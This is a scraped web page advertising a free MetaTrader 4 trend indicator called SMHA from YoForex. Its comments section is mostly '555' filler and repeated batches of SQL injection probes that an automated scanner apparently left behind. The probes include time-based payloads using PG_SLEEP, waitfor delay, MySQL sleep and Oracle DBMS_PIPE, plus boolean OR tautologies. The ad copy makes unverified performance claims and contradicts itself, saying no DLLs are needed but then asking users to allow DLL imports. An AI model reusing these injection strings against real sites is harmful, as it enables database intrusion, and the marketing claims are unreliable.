Introduction
Tired of missing the big market swings? Fed up with lagging indicators that leave you guessing? Well, you’re not alone. Many traders struggle to catch trends early, only to get whipsawed when the market pivots. That’s exactly why we built the SMHA Indicator MT4 at YoForex—and yep, it’s completely free. No hidden fees or trials, just pure, precision-driven trend signals that work on MetaTrader 4. Whether you’re a total newbie or a seasoned pro, this tool cuts through the noise so you can spot high-probability setups…fast. Ready to take your trading edge up a notch? Let’s dive in.
Overview
The SMHA Indicator MT4 is a trend detection powerhouse designed for traders who don’t have time to babysit charts. It uses a proprietary Smoothed Moving Histogram Average algorithm to filter out market noise and highlight genuine trend shifts. Unlike classic moving averages that repaint and lag, SMHA stays true to real-time price action—so your buy and sell signals arrive when they matter most.
Core Purpose
- Noise Reduction: Filters minor price fluctuations for clearer trend direction.
- Early Signals: Delivers arrows on the chart as soon as a trend begins.
- Customizable: Adjustable periods let you fine-tune sensitivity for any currency pair or timeframe.
We’ve rigorously back-tested SMHA across multiple pairs—EURUSD, GBPUSD, USDJPY—and timeframes from M15 to H4. You’ll see consistent performance in both trending and mildly ranging markets. And because it’s built entirely in MQL4, you won’t need any fancy add-ons or external DLLs. Just unzip, install, and watch your charts come alive with clean, actionable signals. For a deeper dive into MetaTrader 4 indicators, check out our Beginner’s Guide or see how SMHA stacks up against other offerings like GMGS PRO EA V2.0.

Key Features
- Smoothed Moving Histogram – proprietary algorithm for max noise filtering.
- Instant Trend Arrows – real-time buy/sell arrows prevent guesswork.
- No Repaint Logic – signals stay put, so you can trust historical data.
- Multi-Pair Support – optimized presets for EURUSD, GBPUSD, USDJPY & more.
- Adjustable Sensitivity – tweak period lengths to match your style.
- Lightweight Design – minimal CPU usage; won’t slow down your MT4.
- Built-In Alerts – pop-up, email, and push notifications via MetaTrader.
- Color-Coded Bars – green for bullish, red for bearish, blue for neutral.
- Trend Strength Meter – histogram shows momentum strength at a glance.
- Free Forever – no subscriptions, no paywalls; one download and you’re set.
How to Install & Configure
Download the SMHA Indicator MT4 from our site:
Download SMHA Indicator MT4
Unzip the package and copy
SMHA.ex4into your MT4Indicatorsfolder.
Restart MetaTrader 4 so it recognizes the new indicator.
Attach SMHA to any chart via
Navigator → Indicators → SMHA.
Set Parameters:
Period: 14 (default) for balanced sensitivity
Histogram Length: 50
Arrow Size: 2
Enable Alerts: Tick “Allow DLL imports” under indicator’s inputs to activate email/push alerts.

Why Choose YoForex-Powered Tools?
- Free Forever: No subscriptions, no trials. We’re here to support traders.
- Regular Updates: We roll out improvements every quarter—coz markets evolve.
- Transparent Development: Full change logs and user feedback shape every release.
Support & Disclaimer
Stuck or spotted a bug? Ping us anytime on our support channels:
We aim to reply within minutes; your questions help us improve. However, remember: past performance isn’t a guarantee of future returns. Always demo-test new tools, manage your risk, and trade responsibly. SMHA is powerful, but no indicator is bulletproof—combine it with solid money management.
Call to Action
Ready to level up your trading? Grab your free SMHA Indicator MT4 now and start spotting trends before everyone else!
Unlimited support awaits on WhatsApp & Telegram—so you’ll never trade alone.
Happy Trading
Comments
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@5PK2X
555'"
555????%2527%2522\'\"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555m3FnOMrx')) OR 614=(SELECT 614 FROM PG_SLEEP(15))--
555ZkIB9E2q') OR 82=(SELECT 82 FROM PG_SLEEP(15))--
555ZF9uClV5' OR 58=(SELECT 58 FROM PG_SLEEP(15))--
555-1)) OR 980=(SELECT 980 FROM PG_SLEEP(15))--
555-1) OR 343=(SELECT 343 FROM PG_SLEEP(15))--
555-1 OR 121=(SELECT 121 FROM PG_SLEEP(15))--
555Cb7PPPbW'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+335-335-1=0+0+0+1 --
-1' OR 2+34-34-1=0+0+0+1 --
-1' OR 2+724-724-1=0+0+0+1 or 'EmQXEPdM'='
-1 OR 2+211-211-1=0+0+0+1 --
-1 OR 2+205-205-1=0+0+0+1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@5Arn2
555????%2527%2522\'\"
555
555'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555V8pQ0Oxq')) OR 147=(SELECT 147 FROM PG_SLEEP(15))--
555lZyNnzmL') OR 453=(SELECT 453 FROM PG_SLEEP(15))--
555zyO2h2UC' OR 658=(SELECT 658 FROM PG_SLEEP(15))--
555-1)) OR 614=(SELECT 614 FROM PG_SLEEP(15))--
555-1) OR 859=(SELECT 859 FROM PG_SLEEP(15))--
555-1 OR 61=(SELECT 61 FROM PG_SLEEP(15))--
555TxWFYUET'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1' OR 2+592-592-1=0+0+0+1 or 'JiQ8DSDA'='
-1" OR 2+527-527-1=0+0+0+1 --
-1' OR 2+467-467-1=0+0+0+1 --
-1 OR 2+670-670-1=0+0+0+1
555
-1 OR 2+679-679-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@iTXj1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555????%2527%2522\'\"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555NwomqzMU')) OR 234=(SELECT 234 FROM PG_SLEEP(15))--
555CHY3K0fW') OR 435=(SELECT 435 FROM PG_SLEEP(15))--
5556VhJktS9' OR 931=(SELECT 931 FROM PG_SLEEP(15))--
555-1)) OR 195=(SELECT 195 FROM PG_SLEEP(15))--
555-1) OR 639=(SELECT 639 FROM PG_SLEEP(15))--
555-1 OR 809=(SELECT 809 FROM PG_SLEEP(15))--
5557kqOaS7X'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1 OR 2+452-452-1=0+0+0+1 --
-1 OR 2+590-590-1=0+0+0+1
-1' OR 2+461-461-1=0+0+0+1 --
-1' OR 2+788-788-1=0+0+0+1 or '5OIVK075'='
-1" OR 2+333-333-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"
555????%2527%2522\'\"
@@U0R3z
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555nj3RI5jA')) OR 382=(SELECT 382 FROM PG_SLEEP(15))--
555NLG6hds9') OR 546=(SELECT 546 FROM PG_SLEEP(15))--
5551A2YYFE0' OR 819=(SELECT 819 FROM PG_SLEEP(15))--
555-1)) OR 773=(SELECT 773 FROM PG_SLEEP(15))--
555-1) OR 445=(SELECT 445 FROM PG_SLEEP(15))--
555-1 OR 144=(SELECT 144 FROM PG_SLEEP(15))--
5557PkEZjOW'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1 OR 2+108-108-1=0+0+0+1 --
-1 OR 2+244-244-1=0+0+0+1
-1' OR 2+219-219-1=0+0+0+1 --
-1' OR 2+569-569-1=0+0+0+1 or 'XcA8D9EI'='
-1" OR 2+664-664-1=0+0+0+1 --
555
555
555
Leave a Comment